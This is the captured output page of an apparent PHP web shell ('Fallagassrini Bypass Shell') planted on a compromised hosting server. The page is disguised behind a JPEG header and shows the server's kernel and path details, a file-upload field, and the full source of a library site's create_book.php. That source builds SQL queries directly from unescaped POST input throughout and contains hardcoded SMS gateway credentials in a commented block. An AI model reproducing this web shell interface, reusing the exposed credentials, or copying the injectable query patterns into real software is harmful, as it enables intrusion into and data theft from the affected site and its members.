JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/llm/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/llm/create_book.php

<?php

include('is_autheticated.php');

function do_post_request($url, $data, $optional_headers = 'Content-type:application/x-www-form-urlencoded') {

                $params = array('http'      => array(

                                'method'       => 'POST',

                                'content'      => $data,

                                ));

                if ($optional_headers !== null) {

                                $params['http']['header'] = $optional_headers;

                }
                $ctx = stream_context_create($params); 

                $response = @file_get_contents($url, false, $ctx);

                if ($response === false) {

                                print "Problem reading data from $url, No status returned ";

                }
               
                return $response;

}

//print_r($_POST);

	//$name=$_POST['book_name'];

if(isset($_POST['author']))
{
$name=trim($_POST['author']);
$query2=mysql_query("SELECT * FROM author WHERE name LIKE '%$name%' limit 0,50");
while($query3=mysql_fetch_array($query2))
{
?>

<!--<li onclick='fill1("<?php echo $query3['name']; ?>")'><?php echo $query3['name']; ?></li>-->
<?php
}
}

if($_POST['add_category'])
{ 
	mysql_query("insert into language(name)values('".$_POST['new_lang']."')");
	 }
if(isset($_POST['author']))

{

	 $cheks=mysql_query("select * from book where book_name='".$_POST['book_name']."' and isbn='".$_POST['isbn']."'");

	  $cheks1=mysql_num_rows($cheks);

	// print_r($cheks1);

	if($cheks1!=1)

	{

	$n=mysql_num_rows(mysql_query("select * from author where name='".$_POST['author']."'"));

	if($n==0)

	mysql_query("insert into author(name) values('".$_POST['author']."')");

	

	$n=mysql_num_rows(mysql_query("select * from category where name='".$_POST['category']."'"));

	if($n==0)

	mysql_query("insert into category(name) values('".$_POST['category']."')");

	

	$n=mysql_num_rows(mysql_query("select * from  publication where name='".$_POST['publication']."'"));

	if($n==0)

	mysql_query("insert into publication(name) values('".$_POST['publication']."')");

	$source=mysql_query("insert into book(book_name,category,author,isbn,new_book_alert,publication,language,currency,cost,default_reading_days,reading_charges,late_fee,date_of_arrival,image,description,rating) values ('".$_POST['book_name']."','".$_POST['category']."','".$_POST['author']."','".$_POST['isbn']."','".$_POST['new_book_alert']."','".$_POST['publication']."','".$_POST['language']."','".$_POST['currency']."','".$_POST['cost']."','".$_POST['default_reading_days']."','".$_POST['reading_charges']."','".$_POST['late_fee']."','".$_POST['date_of_arrival']."','','','')");

	 

	   $id=mysql_insert_id();

	

	 if($source)

	 { 
	$alert=$_POST['new_book_alert'];//echo $alert;
	 if($alert==1)
	 {
	  $book_n=$_POST['book_name'];
	  $author_n=$_POST['author'];
	 $sql2="select distinct(id) from book where author='".$_POST['author']."'";
     $QRY=mysql_query($sql2);
	  if(!$QRY) { 
    'Invalid query: ' . mysql_error() . "\n";
}
else
{
   while($source2=mysql_fetch_array($QRY))
   {  
   $autname=$autname.",".$source2['id'];//echo $autname;
   }
   }
   $id=substr($autname,1);//echo $id;
   
   $sql3="select distinct(member_id) from check_out_in_history where book_id in ($id)";//echo $sql3;
   $QRY2=mysql_query($sql3);
    if(!$QRY2) { 
    'Invalid query: ' . mysql_error() . "\n";
}
else
{
   while($source3=mysql_fetch_array($QRY2))
   {
   $mname=$mname.",".$source3['member_id'];//echo $mname;
   }
   }
   $id2=substr($mname,1);//echo $id2;

   $sql4="select * from members where id in ($id2) ";
   $source4=mysql_query($sql4);
   if(!$source4) { 
    'Invalid query: ' . mysql_error() . "\n";
}
else
{
while($step=mysql_fetch_array($source4))
{	    
//$user_email = 'support@easwarilibrary.in';
$sql3="select * from branches where id='".$step['branch']."'";//echo $sql3;
$QRY2=mysql_query($sql3);
$sourceb=mysql_fetch_array($QRY2);
$mem_email=$step['emailid'];   
$member_name=$step['member_name']; 
$member_code=$step['member_code'];
$sta_s=$step['sms_status'];
$sta_m=$step['mail_status'];
/*if($sta_s==1)
{
$url = 'http://www.meru.co.in/wip/sendsms?';
//$mobile='9884422723';//echo $mobile;
$mobile=substr($step['contact_number'],-10);//echo $mobile;
$branch_m=$sourceb['mobile_number'];	
$branch_p=$sourceb['phone_number'];
$message2='M ID:'.$member_code.' Dear Member,Greeting from ELL.From your reading history,your favorite author '.$author_n.' book is released.Ct:044-42636919';
$data = 'username=eswlibtxn&password=eswlibtxn&message='.urlencode($message2).'&to='.urlencode($mobile);
$response = do_post_request($url, $data);
//print $response;
}
if($sta_m == 1)
{
$user_email = 'support@easwarilibrary.in';							
$subject = 'Dear Mr./Ms. '.$member_name.'';
//$to = 'shanmugamkani1994@gmail.com';
$to = $mem_email;
$eswari = 'Warm Greetings from  Easwari Lending Library !!!';
//$ccarr = 'damemember@gmail.com';

$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
//$user_email1 = 'ganeshadroitz@gmail.com';
// Create email headers
$headers .= 'From: '.$user_email."\r\n".
    'Reply-To: '.$user_email."\r\n" .
    'X-Mailer: PHP/' . phpversion();

$message = '<html><body>';
$message .= '<p style="font-size:22px;">New Book Alert</p>';
$message .= '<p style="font-size:18px;">Dear Mr./Ms. '.$member_name.'('.$member_code.')</p>';
$message .= '<p style="color:#080;font-size:16px;">Warm Greetings from  Easwari Lending Library !!!</p>';
$message .= '<p style="font-size:16px;">From your reading history, your favorite author book is released. </p>';
$message .= '<p style="font-size:16px;">Book Name:'.$book_n.'</p>';
$message .= '<p style="font-size:16px;">Author Name:'.$author_n.'</p>';
$message .= '<br />';
$message .= '<p style="font-size:16px;">With Thanks & Regards.</p>';
$message .= '<p style="font-size:16px;">Easwari Lending Library -Customer Care.</p>';
$message .= '<p style="font-size:16px;">Telephone: 044-'.$branch_p.'</p>';
$message .= '<p style="font-size:16px;">Mobile: '.$branch_m.'</p>';
$message .= '<p style="font-size:16px;">Email: support@easwarilibrary.in</p>';
$message .= '<p style="font-size:16px;">Website: easwarilibrary.in</p>';
$message .= '</body></html>';      

       if(mail($to, $subject, $message, $headers, $from ))
        {
             'Your mail has been sent successfully.';
        }
        else
        {
              'Unable to send email. Please try again.';
        }
		 }*/
		 }
}
}
}
?>
     <script type="application/javascript">

	 window.location.href="manage_book.php?msg=success";

	 </script>

	 

	 <?Php
}
	 else

	 {

	 $msg_display1="Already Added Book";

	 }

	

}

?>


<!DOCTYPE html>
<html lang="en">
<head>
<title>Easwary Library Lending Library</title>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="css/bootstrap.min.css" />
<link rel="stylesheet" href="css/bootstrap-responsive.min.css" />
<link rel="stylesheet" href="css/colorpicker.css" />
<link rel="stylesheet" href="css/datepicker.css" />
<link rel="stylesheet" href="css/uniform.css" />
<link rel="stylesheet" href="css/select2.css" />
<link rel="stylesheet" href="css/matrix-style.css" />
<link rel="stylesheet" href="css/matrix-media.css" />
<link rel="stylesheet" href="css/bootstrap-wysihtml5.css" />
<link href="font-awesome/css/font-awesome.css" rel="stylesheet" />
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,700,800' rel='stylesheet' type='text/css'>

<link rel="stylesheet" href="css/animate.css" />
<link rel="stylesheet" href="css/fullcalendar.css" />
<link rel="stylesheet" href="css/jquery.gritter.css" />
</head>
<body>
<!-- Left sidebar start -->

		<?php include('left_menu.php'); ?>

		<!-- Left sidebar end -->

		<!-- Dashboard Wrapper Start -->

		<div class="dashboard-wrapper">

			<!-- Header start -->

			<?php include('header.php'); 

			?>

<!--main-container-part-->
<div id="content">
<!--breadcrumbs-->
  <div id="content-header">
    <div id="breadcrumb"> <a href="index.php" title="Go to Home" class="tip-bottom"><i class="icon-home"></i> Home</a><a href="#" class="tip-bottom">Books</a> <a href="#" class="current">Create Book</a></div>
  </div>
<!--End-breadcrumbs-->

<!--Action boxes-->
  <div class="container-fluid">
    <div class="row-fluid">
  <div class="span12">
      <div class="widget-box">
        <div class="widget-title"> <span class="icon"> <i class="icon-th-large"></i> </span>
          <h5>New Book</h5><span class="icon" style="float:right"><a href="manage_book.php"> <i class="icon-th-list" title="List Book"></i></a> </span>
        </div>
		
		<div class="widget-content nopadding">
		<form name="lang" id="lang" method="post" style="display:none" class="form-horizontal">
			                  <label for="exampleInputPassword1" class="control-label" style="margin-left:3%">Language</label>
                                  <div class="controls">
			                  <input type="text"  id="new_lang" name="new_lang" tabindex="9" required autocomplete="off">
							  <input type="submit" name="add_category" value="Add" id="add_category"  class="btn btn-success" />
                               </div>
							</form>
							
			               <form name="books" id="books" method="post" class="form-horizontal">
						
						  <div class="span11" style="margin-left:30px;">
						   <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Date of Arrival</label>
							   <div class="controls">
				 <input type="text" data-date="<?php echo date('d-m-Y'); ?>" data-date-format="dd-mm-yyyy" value="<?php echo date('d-m-Y'); ?>" name="date_of_arrival" id="date_of_arrival" class="datepicker" tabindex="1">
				 							  </div>
			                 </div>
							 </div>
							 
                          
						  <div class="span5">
			                <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Author</label>
							   <div class="controls">
							  <input type="text" name="author" id="author" autocomplete="off"  value="<?php echo $query3['name']; ?>" required onKeyUp="showauthor()" tabindex="2">
							  </div>
							 <div id="authordisplay" ></div>
							 </div>
                            </div>

                              <div class="span5">
                               <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Category</label>
							   <div class="controls">
							    <input type="text"  name="category" id="category" onKeyUp="showcategory()" required tabindex="3">
								</div>
                            <div id="display"></div>
			                </div>
							</div>
							
							  
							
							<div class="span5">
			                <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Book Name</label>
							   <div class="controls">
			                  <input type="text"  id="book_name" name="book_name" onBlur="showbooks(this.value)" required tabindex="4">
							  </div>
							  <div id="bookError"></div>
			                </div>
							</div>
							
							
							<div class="span5">
                             <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">ISBN</label>
							   <div class="controls">
			                  <input type="text" class="form-control" id="isbn" name="isbn" tabindex="5" required>
							  </div>
			                </div>
							</div>
							
							<div class="span5">
                            <div class="control-group" style="margin-left:130px;">
			                    <label class="control-label">
			                      <input type="checkbox" id="new_book_alert" name="new_book_alert" value="1" tabindex="6"> <b>New book Alert</b>
			                    </label>
			                    </div>
								</div>
								
								<div class="span5">
                             <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Publication</label>
							   <div class="controls">
							  <input type="text"   name="publication" id="publication" autocomplete="off" onKeyUp="showpublication()" tabindex="7" required>
							  </div>
			                 <div id="publicationdisplay"></div>
			                </div>
							</div>
							
							<div class="span5">
                             <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Language</label>
                              <div class="controls">
							 
			                  <select id="language" name="language" required class="select" tabindex="8">
							  <option value="0">Select Language</option>
							   <?php 
							  $views=mysql_query("select distinct name from language order by name"); 
							   while($branch=mysql_fetch_array($views)) { 	?>
							 <option value="<?php echo $branch['name']; ?>" ><?php echo $branch['name']; ?></option>
							 <?php } ?>
							 </select>
							 <i class="icon-plus-sign" title="Add Language" onClick="add_language()" id="lang"></i>
                              </div>
			                </div>
							</div>
							
							
							
							<div class="span5">
			                <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Currency</label>
                               <div class="controls">
			                  <select  id="currency" name="currency" tabindex="9" required>
                             <option value="rs">Rs</option>
                              <option value="$">$</option>
                              </select>
                             </div>
			                </div>
							</div>
							
							
							
							<div class="span5">
			                <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Default Reading Days</label>
                                  <div class="controls">
			                  <input type="text"  id="default_reading_days" name="default_reading_days" value="15" tabindex="10" required>
                               </div>
			                </div>
							</div>
							
							
							<div class="span5">
                             <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Cost</label>
							   <div class="controls">
			                  <input type="number" id="cost" name="cost" onBlur="showreadings(this.value)" required tabindex="11">
							  </div>
			                </div>
							</div>
							
							<div class="span5">
							 <div id="read_charges">
                             <div class="control-group">
			                  <label for="exampleInputEmail1" class="control-label">Reading Charges</label>
                              <div class="controls">
                              <input type="text" id="reading_charges" name="reading_charges" tabindex="12" required></div>
                             </div>
			                </div>
							</div>
							 
							 <div class="span5">
			                <div class="control-group">
			                  <label for="exampleInputPassword1" class="control-label">Late fee</label>
							   <div class="controls">
			                  <input type="text" id="late_fee" name="late_fee" value="1" tabindex="13" required>
			                </div>
							</div>
							</div>
							
							  <div class="form-actions" align="center" style="margin-top:0px">
							<input type="button" name="add_book" id="add_book" value="Create Book Masters" onclick="SubmitForm(0);" class="btn btn-success" tabindex="14" />
							<!--onclick="SubmitForm(0);hidef();"-->
							<input type="reset" name="cancel" value="Cancel" class="btn btn-danger" tabindex="15" onClick="history.go(-1);">
							</div>
			              </form>

			            </div>
   <!--End-Chart-box--> 
 
  </div>
</div>
</div>
</div>
</div>



<!--end-main-container-part-->

<!--Footer-part-->
<div class="row-fluid">
  <div id="footer" class="span12"> Copyright Cloud Admin <span>2015</span>. All Rights Reserved. </div>
</div>
<script language="javascript">

function SubmitForm()
{
   // alert("Submitted");
                var fields=["author","book_name","isbn","publication","language","cost","reading_charges","late_fee"];
				for(i=0;i<fields.length;i++)
				{
				current_iteration = document.getElementById(fields[i]).value;
				document.getElementById(fields[i]).style.borderColor="";
					if(current_iteration=="")
						{
						document.getElementById(fields[i]).focus();
						document.getElementById(fields[i]).style.borderColor="red";
						return false;
						}
				}
				hidef();
                FormName	= document.books;
                FormName.method	= "POST";
                FormName.submit();
}

function hidef()
{
document.getElementById('add_book').setAttribute("disabled", "disabled"); 
}
function showreadings(str)
	{
		//alert(str);
if (str=="")
  {
  document.getElementById("txtHint").innerHTML="";
  return;
  }
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    document.getElementById("read_charges").innerHTML=xmlhttp.responseText;
    }
  }
xmlhttp.open("GET","get_reading.php?s="+str,true);
xmlhttp.send();
}
</script>
	 
<script>
	if (top.location != location) {

    top.location.href = document.location.href ;

  }
</script>

<script type="text/javascript">
function fill(Value)
{
$('#category').val(Value);
$('#display').hide();
}

function fill1(Value)
{
$('#author').val(Value);
$('#authordisplay').hide();
}

function fill2(Value)
{
$('#publication').val(Value);
$('#publicationdisplay').hide();
}
</script>
<script type="text/javascript">
function add_language()
{
$('#lang').show();
}
</script>
<script type="text/javascript">
function showcategory(){

var category = $('#category').val();
var n = category.length;

if(n < 4)
{
$("#display").html("");
}

else
{
$.ajax({
type: "POST",
url: "ajax.php",
data: "category="+ category ,
success: function(data){
$("#display").html(data).show();
}
});
}

}
</script>
<script type="text/javascript">
function showauthor(){
var author = $('#author').val();
var n = author.length;
if(n<4)
{
$("#authordisplay").html("");
}
else
{
$.ajax({
type: "POST",
url: "ajaxauthor.php",
data: "author="+ author ,
success: function(data){
$("#authordisplay").html(data).show();
}
});
}
}

function showpublication(){
var publication = $('#publication').val();
var n = publication.length;
if(n<4)
{
$("#publicationdisplay").html("");
}
else
{
$.ajax({
type: "POST",
url: "ajaxpublication.php",
data: "publication="+ publication ,
success: function(data){
$("#publicationdisplay").html(data).show();
}
});
}
}



function showbooks(book)

	{

		//alert(ids);

		$.ajax({

		type: "POST",

		url: "get_book.php",

		data: {book:book},

		success: function(data) {

		if(data == 1) {

                    //the email is available

                    $("#bookError").html("Book Already Exist, Kindly give new name");

                	$("#bookError").css('background-color','red');}

                else {

                    //the email is not available

                    $("#bookError").html("");

                }

			}

		});

	

	}
	
function numericFilter(data)
{
   data.value = data.value.replace(/[^.0-9^.+,-]/ig,"");
}
function text_filter(data)
{
   data.value = data.value.replace(/[^ .a-z]/ig,"");

}
</script>

		<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
		<!-- Include all compiled plugins (below), or include individual files as needed -->
		<!--<script src="js/bootstrap.min.js"></script>-->
		<!-- Animated Right Sidebar -->
		<!--<script src="js/slidebars.js"></script>-->
		<!-- Date Range -->
		<!--<script src="js/daterange/moment.js"></script>
		<script src="js/daterange/daterangepicker.js"></script>-->
		<!-- Custom JS -->
		<!--<script src="js/custom.js"></script>-->

<script type="text/javascript">

        $(document).ready(function () {

          //  setupTinyMCE();

           // setupProgressbar('progress-bar');

          //  setDatePicker('date_of_arrival');

           // setupDialogBox('dialog', 'opener');

           // $('input[type="checkbox"]').fancybutton();

            //$('input[type="radio"]').fancybutton();

			

			$('#date_of_arrival').datepicker({ dateFormat: 'dd-mm-yy' });

			

        });

		

    </script>

    

     <style type="text/css">

	

	button, input, select, textarea {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

	 padding: 8px 16px;

}

	

	

	.read_charges {

    border: 2px solid #bfe0f3;

    border-radius: 0;

    box-shadow: none;

    height: 40px;

    padding: 8px 16px;

}

	</style>



	
<!--end-Footer-part-->
<script src="js/jquery.min.js"></script> 
<script src="js/jquery.ui.custom.js"></script> 
<script src="js/bootstrap.min.js"></script> 
<script src="js/bootstrap-colorpicker.js"></script> 
<script src="js/bootstrap-datepicker.js"></script> 
<script src="js/jquery.toggle.buttons.js"></script> 
<script src="js/masked.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/select2.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.form_common.js"></script> 
<script src="js/wysihtml5-0.3.0.js"></script> 
<script src="js/jquery.peity.min.js"></script> 
<script src="js/bootstrap-wysihtml5.js"></script> 

<script src="js/bootstrap.min.new.js"></script>
<script src="js/custom.js"></script>
<script>
	$('.textarea_editor').wysihtml5();
</script>
<script src="js/excanvas.min.js"></script> 
<!--<script src="js/jquery.min.js"></script> -->
<script src="js/bootstrap.min.js"></script> 
<script src="js/jquery.flot.min.js"></script> 
<script src="js/jquery.flot.resize.min.js"></script> 
<script src="js/jquery.peity.min.js"></script> 
<script src="js/fullcalendar.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.dashboard.js"></script> 
<script src="js/jquery.gritter.min.js"></script> 
<script src="js/matrix.interface.js"></script> 
<script src="js/matrix.chat.js"></script> 
<script src="js/jquery.validate.js"></script> 
<script src="js/matrix.form_validation.js"></script> 
<script src="js/jquery.wizard.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/matrix.popover.js"></script> 
<script src="js/jquery.dataTables.min.js"></script> 
<script src="js/matrix.tables.js"></script> 

<script type="text/javascript">
  // This function is called from the pop-up menus to transfer to
  // a different page. Ignore if the value returned is a null string:
  function goPage (newURL) {

      // if url is empty, skip the menu dividers and reset the menu selection to default
      if (newURL != "") {
      
          // if url is "-", it is this page -- reset the menu:
          if (newURL == "-" ) {
              resetMenu();            
          } 
          // else, send page to designated URL            
          else {  
            document.location.href = newURL;
          }
      }
  }

// resets the menu selection upon entry to this page:
function resetMenu() {
   document.gomenu.selector.selectedIndex = 2;
}
</script>
</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net